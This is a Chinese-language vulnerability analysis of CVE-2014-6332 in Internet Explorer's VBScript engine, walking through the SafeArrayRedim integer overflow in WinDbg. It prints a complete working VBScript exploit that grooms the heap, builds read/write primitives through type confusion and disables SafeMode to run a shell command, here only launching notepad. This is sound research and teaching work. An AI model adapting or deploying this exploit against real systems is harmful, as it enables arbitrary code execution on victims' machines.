Author: xd0ol1 (知道創宇404實驗室)

前文回顧:

0x00 引子

本文將通過一個經典的IE漏洞來繼續學習WinDbg相關的分析調試,錯誤之處還望各位大牛加以斧正:P

0x01 概述

我們要用到的是CVE-2014-6332這個漏洞,前輩們已經有過精彩的分析了,對應文章在參考部分有給出。此漏洞最值得借鑒的是其中所涉及的利用方式,上兩篇分析的CVE-2012-1876需要繞過ASLR、DEP等保護手段來執行ROP+shellcode,而CVE-2014-6332則是借助RW primitives+GodMode的方式來實現漏洞的利用。不好說這兩種思路孰優孰劣,應該是各有千秋的,繞過保護措施可能會復雜些,因而現今的exploit更多會先獲取RW primitives,之后corrupt有關數據結構來實現代碼的執行。

該漏洞在當時還是比較嚴重的,幾乎所有Windows版本中的IE都受到了影響,它是由于VBScript引擎在重新分配數組儲存空間時的錯誤引起的,具體來說是oleaut32模塊SafeArrayRedim函數中的整數溢出錯誤。當然,微軟目前已經放棄了VBScript,但我們學習的目的在于舉一隅以三隅反,因此理解其原理還是很有必要的。

此處的分析環境為Win7 x86 - IE 8.0.7601.17514。

0x02 RW primitives

我們先來看下如何通過此漏洞來獲取RW primitives,即corrupt后的SAFEARRAY結構,這里注意下,RW(Read/Write) primitives指的是exploit中那些用于實現內存讀寫的對象或函數。分析所用的PoC代碼如下:

``` code html CVE-2014-6332 PoC. 97av

我們知道在VBScript中,數組是以SAFEARRAY結構來保存的,其定義如下:

0:013> dt ole32!tagSAFEARRAY +0x000 cDims : Uint2B +0x002 fFeatures : Uint2B +0x004 cbElements : Uint4B +0x008 cLocks : Uint4B +0x00c pvData : Ptr32 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:013> dt ole32!tagSAFEARRAYBOUND +0x000 cElements : Uint4B +0x004 lLbound : Int4B

其中cDims表示數組的維數,每個維度都對應一個SAFEARRAYBOUND結構,包含有此維度的大小和起始索引,同時,cbElements表示每個元素的大小,這些元素保存在pvData地址處。而對于fFeatures表示的含義,可參考此[說明](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx)。

此外,可以通過IDA得到如下的SafeArrayRedim函數定義:

```c
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew);

我們在IE中打開上述PoC文件,并用WinDbg附加相應進程,然后執行如下操作:

0:013> bp OLEAUT32!SafeArrayRedim
0:013> g
Breakpoint 3 hit
eax=023dcfa8 ebx=002c2a10 ecx=0006fa58 edx=0000400c esi=0006fa58 edi=00000000
eip=75aeec2c esp=023dcf94 ebp=023dcfb0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SafeArrayRedim:
75aeec2c 8bff            mov     edi,edi
0:005> kb 3
ChildEBP RetAddr  Args to Child              
023dcf90 728c58da 002c2a10 023dcfa8 0006f438 OLEAUT32!SafeArrayRedim
023dcfb0 728c5887 00000001 00000001 0006fa58 vbscript!RedimPreserveArray+0x81
023dd0ac 728b4ff6 023dd214 8f64c1b9 00000000 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 002c2a10 L6
002c2a10  08800001 00000010 00000000 00234298
002c2a20  00000004 00000000
0:005> dd 023dcfa8 L2
023dcfa8  08421421 00000000
0:005> dd 00234298 L10
00234298  00000002 00000000 00000001 00000000
002342a8  00000002 00000000 00000002 00000000
002342b8  00000002 00000000 00000004 00000000
002342c8  00000002 00000000 00000008 00000000

可以看到,最初定義的數組維度為1,共有0x04個Variant型元素,且每個元素占0x10字節。這里特別強調下Variant結構,它在后續會經常用到,其定義如下:

圖0  Variant結構的定義

保存浮點數時會同時使用Data High和Data Low字段,而如果只保存整型或指針則僅需Data High字段,Type字段的定義可參考這里,在本文中涉及到的類型如下:

圖1  Type字段的定義

接著腳本借助redim來重新分配數組空間,對應元素個數為0x08421420+1=0x08421421,即0x08421421*0x10=0x84214210字節空間,很顯然這個分配操作會失敗,畢竟32位進程的用戶態空間最大也只到0x7fffffff,但由于存在如下語句,腳本將會繼續執行:

``` code html On Error Resume Next

當跳出SafeArrayRedim函數后,我們再看下此時SAFEARRAY結構中的內容:

0:005> dd 002c2a10 L6 002c2a10 08800001 00000010 00000000 00234298 002c2a20 08421421 00000000

即數組的起始地址仍為0x00234298,但索引范圍變成了0~0x08421420,這正是我們要用到的corrupt后的SAFEARRAY結構,通過它可以獲取RW primitives功能。如下給出了漏洞的具體成因:

0:005> uf OLEAUT32!SafeArrayRedim OLEAUT32!SafeArrayRedim: 75aeec2c 8bff mov edi,edi 75aeec2e 55 push ebp 75aeec2f 8bec mov ebp,esp 75aeec31 83ec18 sub esp,18h 75aeec34 53 push ebx 75aeec35 56 push esi 75aeec36 8b7508 mov esi,dword ptr [ebp+8] 75aeec39 57 push edi 75aeec3a 33ff xor edi,edi 75aeec3c 3bf7 cmp esi,edi 75aeec3e 0f843f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

OLEAUT32!SafeArrayRedim+0x18: 75aeec44 397d0c cmp dword ptr [ebp+0Ch],edi 75aeec47 0f8436030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

OLEAUT32!SafeArrayRedim+0x21: 75aeec4d 0fb74e02 movzx ecx,word ptr [esi+2] 75aeec51 8bc1 mov eax,ecx 75aeec53 2500200000 and eax,2000h 75aeec58 8945f4 mov dword ptr [ebp-0Ch],eax 75aeec5b 66393e cmp word ptr [esi],di 75aeec5e 0f841f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

OLEAUT32!SafeArrayRedim+0x38: 75aeec64 397e08 cmp dword ptr [esi+8],edi 75aeec67 0f870c030000 ja OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

OLEAUT32!SafeArrayRedim+0x41: 75aeec6d f6c110 test cl,10h 75aeec70 0f8503030000 jne OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

OLEAUT32!SafeArrayRedim+0x4a: 75aeec76 8d45f0 lea eax,[ebp-10h] 75aeec79 50 push eax 75aeec7a 897d08 mov dword ptr [ebp+8],edi 75aeec7d 897df0 mov dword ptr [ebp-10h],edi 75aeec80 e8f15dfeff call OLEAUT32!GetMalloc (75ad4a76) 75aeec85 8bd8 mov ebx,eax 75aeec87 3bdf cmp ebx,edi 75aeec89 0f85d5020000 jne OLEAUT32!SafeArrayRedim+0x5f (75aeef64)

OLEAUT32!SafeArrayRedim+0x65: 75aeec8f 56 push esi ;SAFEARRAY結構的指針 75aeec90 e868f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取已分配的數組空間大小 75aeec95 8945fc mov dword ptr [ebp-4],eax ;保存已分配空間大小值0x00000040 75aeec98 3bc7 cmp eax,edi 75aeec9a 7409 je OLEAUT32!SafeArrayRedim+0x7b (75aeeca5)

OLEAUT32!SafeArrayRedim+0x72: 75aeec9c 397e0c cmp dword ptr [esi+0Ch],edi 75aeec9f 0f84de020000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

OLEAUT32!SafeArrayRedim+0x7b: 75aeeca5 8b450c mov eax,dword ptr [ebp+0Ch] 75aeeca8 8b08 mov ecx,dword ptr [eax] 75aeecaa 8b5e10 mov ebx,dword ptr [esi+10h] ;備份rgsabound中的cElements值0x00000004 75aeecad 8b7e14 mov edi,dword ptr [esi+14h] ;備份rgsabound中的lLbound 75aeecb0 894e10 mov dword ptr [esi+10h],ecx ;修改rgsabound中的cElements為0x08421421 75aeecb3 8b4004 mov eax,dword ptr [eax+4] 75aeecb6 56 push esi ;SAFEARRAY結構的指針 75aeecb7 895de8 mov dword ptr [ebp-18h],ebx 75aeecba 897dec mov dword ptr [ebp-14h],edi 75aeecbd 894614 mov dword ptr [esi+14h],eax ;修改rgsabound中的lLbound 75aeecc0 e838f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取待分配的數組空間大小 75aeecc5 8945f8 mov dword ptr [ebp-8],eax ;保存待分配空間大小值0x84214210 75aeecc8 83f8ff cmp eax,0FFFFFFFFh 75aeeccb 0f8490910100 je OLEAUT32!SafeArrayRedim+0xa3 (75b07e61)

OLEAUT32!SafeArrayRedim+0xb3: 75aeecd1 8bd8 mov ebx,eax 75aeecd3 2b5dfc sub ebx,dword ptr [ebp-4] ;待分配大小減去已分配大小,等于0x842141d0 75aeecd6 0f84a8000000 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

OLEAUT32!SafeArrayRedim+0xbe: 75aeecdc 8b7df0 mov edi,dword ptr [ebp-10h] 75aeecdf 85db test ebx,ebx 75aeece1 7d45 jge OLEAUT32!SafeArrayRedim+0x110 (75aeed28) ;將0x842141d0當作負數,整數溢出

OLEAUT32!SafeArrayRedim+0xc5: 75aeece3 b9200f0000 mov ecx,0F20h 75aeece8 66854e02 test word ptr [esi+2],cx 75aeecec 743a je OLEAUT32!SafeArrayRedim+0x110 (75aeed28)

OLEAUT32!SafeArrayRedim+0xd0: 75aeecee 837df400 cmp dword ptr [ebp-0Ch],0 75aeecf2 0f8579910100 jne OLEAUT32!SafeArrayRedim+0xd6 (75b07e71)

OLEAUT32!SafeArrayRedim+0xe0: 75aeecf8 8b07 mov eax,dword ptr [edi] 75aeecfa 895d0c mov dword ptr [ebp+0Ch],ebx 75aeecfd f75d0c neg dword ptr [ebp+0Ch] 75aeed00 ff750c push dword ptr [ebp+0Ch] 75aeed03 57 push edi 75aeed04 ff500c call dword ptr [eax+0Ch] ;ole32!CRetailMalloc_Alloc,分配空間失敗 75aeed07 894508 mov dword ptr [ebp+8],eax 75aeed0a 85c0 test eax,eax 75aeed0c 0f845d020000 je OLEAUT32!SafeArrayRedim+0x19d (75aeef6f)

......

OLEAUT32!SafeArrayRedim+0x1b8: 75aeed75 837d0800 cmp dword ptr [ebp+8],0 75aeed79 7409 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

OLEAUT32!SafeArrayRedim+0x1be: 75aeed7b ff7508 push dword ptr [ebp+8] 75aeed7e 8b07 mov eax,dword ptr [edi] 75aeed80 57 push edi 75aeed81 ff5014 call dword ptr [eax+14h] ;ole32!CRetailMalloc_Free

OLEAUT32!SafeArrayRedim+0x1c7: 75aeed84 8bc3 mov eax,ebx

OLEAUT32!SafeArrayRedim+0x1d7: 75aeed86 5f pop edi 75aeed87 5e pop esi 75aeed88 5b pop ebx 75aeed89 c9 leave 75aeed8a c20800 ret 8

......

OLEAUT32!SafeArrayRedim+0x19d: 75aeef6f bb0e000780 mov ebx,8007000Eh 75aeef74 e9fcfdffff jmp OLEAUT32!SafeArrayRedim+0x1b8 (75aeed75)

......

我們知道SafeArrayRedim函數的第一個入參為SAFEARRAY結構的指針,其中包含已分配數組的SAFEARRAYBOUND信息,第二個入參為待分配數組的SAFEARRAYBOUND信息。在獲取完已分配數組的大小后,程序根據待分配數組的SAFEARRAYBOUND信息來修改SAFEARRAY指針指向的原SAFEARRAYBOUND信息,即其中的cElements和lLbound,以此來獲取待分配數組的大小。但由于之后jge指令將新增空間大小0x842141d0當成了負數,即整數溢出,導致程序進入錯誤的處理分支,新空間會分配失敗,但函數在返回前并沒有將原先備份的SAFEARRAYBOUND信息替換回去,從而分配的數組空間沒變cElements值卻改變了,因此corrupt后的SAFEARRAY結構可被用于內存的越界訪問。

### 0x03 GodMode

接著我們來討論如何在當前的IE環境中開啟VBScript的GodMode,用到的代碼如下:

```html
<html>
<body>
<SCRIPT LANGUAGE="VBScript">
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
</script>
</body>
</html>

正常情況打開這個html文件是無法彈出記事本的,因為IE會禁止運行那些可能危害系統的腳本,它會通過vbscript!COleScript::InSafeMode函數來對SafeMode標志進行檢查,此標志的默認值為0x0e。我們重新打開上述文件并在WinDbg中進行如下操作:

0:012> bu vbscript!COleScript::InSafeMode
0:012> g
Breakpoint 0 hit
eax=76140782 ebx=00000000 ecx=0002bdd0 edx=76130000 esi=0002f558 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=0000000e
0:005> ln poi(ecx)
(6f354868)   vbscript!COleScript::`vftable'   |  (6f36fdbc)   vbscript!`string'
Exact matches:
    vbscript!COleScript::`vftable' = <no type information>
0:005> dd ecx+174h L1
0002bf44  0000000e
0:005> uf vbscript!COleScript::InSafeMode
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh
6f35ce57 6a00            push    0
6f35ce59 58              pop     eax
6f35ce5a 0f95c0          setne   al
6f35ce5d c3              ret
0:005> eb ecx+174h 4
0:005> dd ecx+174h L1
0002bf44  00000004
0:005> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0002bdd0 edx=0244d3b0 esi=00000000 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=00000004
0:005> bd *
0:005> g
ModLoad: 6efe0000 6efe3000   C:\Windows\system32\sfc.dll
ModLoad: 6efd0000 6efdd000   C:\Windows\system32\sfc_os.DLL

可以看到,SafeMode標志是vbscript!COleScript對象指針特定偏移處的一個值,在InSafeMode函數中,會檢查它和0x0B相與的結果,如果為0,那么VBScript的執行將不再受到限制,即此時SafeMode標志值要為0或4,通過手動修改內存中的這個標志值最終可以彈出記事本。

0x04 漏洞利用

在前面分析的基礎上,我們來看一下此漏洞的exploit,具體思路就是通過corrupt后的SAFEARRAY結構來獲取RW primitives,然后對SafeMode標志進行修改,從而執行任意的VBScript代碼:

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()  '彈出記事本'
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()  '數組和變量的定義'
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  '程序入口'
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then  '判斷系統位數并獲取IE版本'
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  '定義精心構造的SAFEARRAY結構'
    Setnotsafemode()
  end if
end function

function BeginInit()  '數組和變量的初始化'
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  '創建期望的內存布局'
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()  '獲取函數對象指針并布局精心構造的SAFEARRAY結構'
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  ab(0)=6.36598737437801E-314  '0x0000000300000003'
  aa(a1+2)=myarray
  ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  '獲取COleScript對象指針'

  for k=0 to &h60 step 4  '搜索內存中的SafeMode標志值并修改'
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313  '0x0000000800000008'
  Runmumaa()
end function

function Over()  '判斷內存中分配的aa、ab這兩個數組是否相鄰'
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  '對aa數組進行corrupt'
  type1=1
  ab(0)=1.012345678901234567890123456789  '用作標記值'
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  '判斷是否和標記相符'
    Over=True
  end if
  redim Preserve aa(a0)  '恢復aa數組至corrupt前'
end function

function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  '0x0000000800000008'
  ReadMemo=lenb(aa(a1))  'read primitive'
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

其中,科學記數法表示的浮點數可由C中的printf函數進行轉換:

``` code c printf("%I64x\n", 1.69759663316747E-313); printf("%.14E\n", 0x0000000800000008);

在調試過程中我們可適當插入document.write()來輸出那些輔助的信息,同時還可以通過插入MsgBox()來定位相關代碼,例如最開始先禁用WinDbg中的所有斷點,待彈出窗口后再啟用斷點,這樣我們就能快速跳到想要的位置跟蹤調試了。

此外,[yuange](https://twitter.com/yuange75)的DVE(數據虛擬執行)想法確實妙,筆者還有待慢慢領悟,下面我們進入詳細的分析。

####1 內存布局

exploit中用到了aa和ab兩個數組,它們會在Over()中通過redim進行重新分配,也就是執行完如下兩條語句后:

``` code html
redim Preserve aa(a0)
redim ab(a0)

內存布局需要達到如下效果,同樣,每個數組元素都保存在Variant結構中:

圖2  期望的內存布局

如果不滿足就重復這個分配過程,由于相應空間分配在堆上,根據堆管理的性質是能實現上述布局的,這樣就可以通過corrupt后的aa數組來越界訪問ab數組了。我們來具體看一下:

0:012> bp OLEAUT32!SafeArrayRedim
0:012> g
Breakpoint 0 hit
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84d0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff            mov     edi,edi
0:005> kb 3
ChildEBP RetAddr  Args to Child              
0249cafc 6fb158da 004692e8 0249cb14 ffffffff OLEAUT32!SafeArrayRedim
0249cb1c 6fb15887 00000001 00000001 01df84d0 vbscript!RedimPreserveArray+0x81
0249cc18 6fb04ff6 0249ce2c c9d653d5 01e008d0 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 004692e8 L6
004692e8  08800001 00000010 00000000 0042e2b8
004692f8  00000006 00000000
......
0:005> g
(6b0.f28): Break instruction exception - code 80000003 (first chance)
eax=7ffd4000 ebx=00000000 ecx=00000000 edx=77b8f125 esi=00000000 edi=00000000
eip=77b240f0 esp=059dfd94 ebp=059dfdc0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77b240f0 cc              int     3
0:010> dd 004692e8 L6
004692e8  08800001 00000010 00000000 02e66ec8
004692f8  080000a2 00000000
0:010> !heap -p -a 02e66ec8
    address 02e66ec8 found in
    _HEAP @ 3c0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02e66ec0 0145 0000  [00]   02e66ec8    00a20 - (busy)


0:010> ? 02e66ec8+a2*10
Evaluate expression: 48658664 = 02e678e8

此時地址0x02e678e8處即為8字節的堆指針,內存分布如下:

圖3  滿足條件的內存分布

其中,數值1.012345678901234567890123456789保存在ab(0)中,該Variant結構的Type字段為5,而Data High+Data Low字段為0x3ff0329161f20b24。當aa數組corrupt后可以訪問到ab數組中的數據,由于這之間恰好隔了8字節的堆指針,所以這兩個數組的Type+Reserved部分就和Data High+Data Low部分交錯了,因此ab(0)的Data High+Data Low部分會被當成aa(a1)的Type+Reserved部分,即VarType(aa(a1))等于0x0b24。

2 類型混淆

在完成內存的布局后,exploit就可以借助ab數組元素的賦值操作來對corrupt后aa數組元素的Type字段進行更改,從而實現類型的混淆,接下去我們將分析exploit中用到的類型混淆手法以及由此得到的Read primitive。

來看下Mydata()函數,它會通過如下代碼將testaa函數對象指針賦給i:

``` code html On Error Resume Next i=testaa i=null

接著是與類型混淆有關的那部分代碼:

``` code html
redim Preserve aa(a2)  '對aa數組進行corrupt'
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314  '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0)  '恢復aa數組至corrupt前'

這里面會進行兩次類型混淆處理,首先由于變量i的類型為null(0x01),因此需要將其轉成long integer(0x03)后再返回,該函數對象指針事實上就是CScriptEntryPoint對象的指針。而myarray中則保存著精心構造的SAFEARRAY結構,最初賦給aa(a1+2)時其類型為string(0x08),需要將其類型改為Variant數組,這在后面獲取Write primitive時會用到。對應的調試過程如下:

0:005> bl
 0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim
 1 e 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
 2 e 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> dd esp L4
0249cb1c  6fb13991 0013ebf0 02e678f8 01df84f0
0:005> dd 01df84f0 L4
01df84f0  0000400c 00000000 0013268c 41a00001
0:005> dd 0013268c L4
0013268c  00000001 00000080 01df8718 01000f0e
0:005> ln poi(01df8718)
(6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  01 00 00 00 80 00 00 00-18 87 df 01 0e 0f 00 01  ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> dd esp L4
0249cb1c  6fb13991 0013ebf0 02e678f0 01df84f0
0:005> db 02e678f0 L10
02e678f0  02 00 00 00 00 00 00 00-01 00 00 00 80 00 00 00  ................
0:005> db 01df84f0 L10
01df84f0  05 00 00 00 00 00 00 00-03 00 00 00 03 00 00 00  ................
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f23c edx=0000400c esi=01e00900 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L40
02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
02e67908  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02e67918  08 00 49 02 a5 00 00 00-14 50 40 00 18 cc 49 02  ..I......P@...I.
0:005> dd 00405014-4 L8
00405010  00000018 08800001 00000001 00000000
00405020  00000000 7fff0000 00000000 00000000
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L40
02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
02e67908  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
02e67918  0c 20 00 00 0c 20 00 00-14 50 40 00 18 cc 49 02  . ... ...P@...I.
0:005> dt ole32!tagSAFEARRAY 00405014
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 1
   +0x008 cLocks           : 0
   +0x00c pvData           : (null) 
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

我們知道字符串在內存中是以BSTR對象保存的,暫不論類型混淆,就myarray字符串而言,它在內存中的保存結果如下,Data High字段中的指針0x00405014指向相應的字符內容:

圖4  內存中的myarray

其中,BSTR對象頭部表示字符串的長度,此情況中即為poi(0x00405014-4)=0x18。

了解這一點后,我們再來看實現Read primitive的函數:

function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
  On Error Resume Next
  redim Preserve aa(a2)  '對aa數組進行corrupt'
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  '0x0000000800000008'
  ReadMemo=lenb(aa(a1))  'read primitive'
  ab(0)=0
  redim Preserve aa(a0)  '恢復aa數組至corrupt前'
end function

首先add+4會以long integer(0x03)類型賦給aa(a1),這里add為要讀取的地址,而后aa(a1)的類型被改成了string(0x08),于是add+4也就被當成了指向字符內容的指針,因此lenb(aa(a1))就等價于poi(add+4-4),即add地址處的值。

對于Setnotsafemode函數中的如下ReadMemo調用:

On Error Resume Next
i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
i=ReadMemo(i+8)

其跟蹤過程如下:

0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!AssignVar:
6fb02e64 8bff            mov     edi,edi
0:005> dd esp L4
0249cb1c  6fb13991 0013ebf0 02e678f8 01df84e0
0:005> dd 01df84e0 L4
01df84e0  00000003 00000000 01df8724 41a00001
0:005> ln poi(01df8724)
0:005> ln poi(01df8724-8)
0:005> ln poi(01df8724-8-4)
(6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff            mov     edi,edi
0:005> db 02e678e8 L20
02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
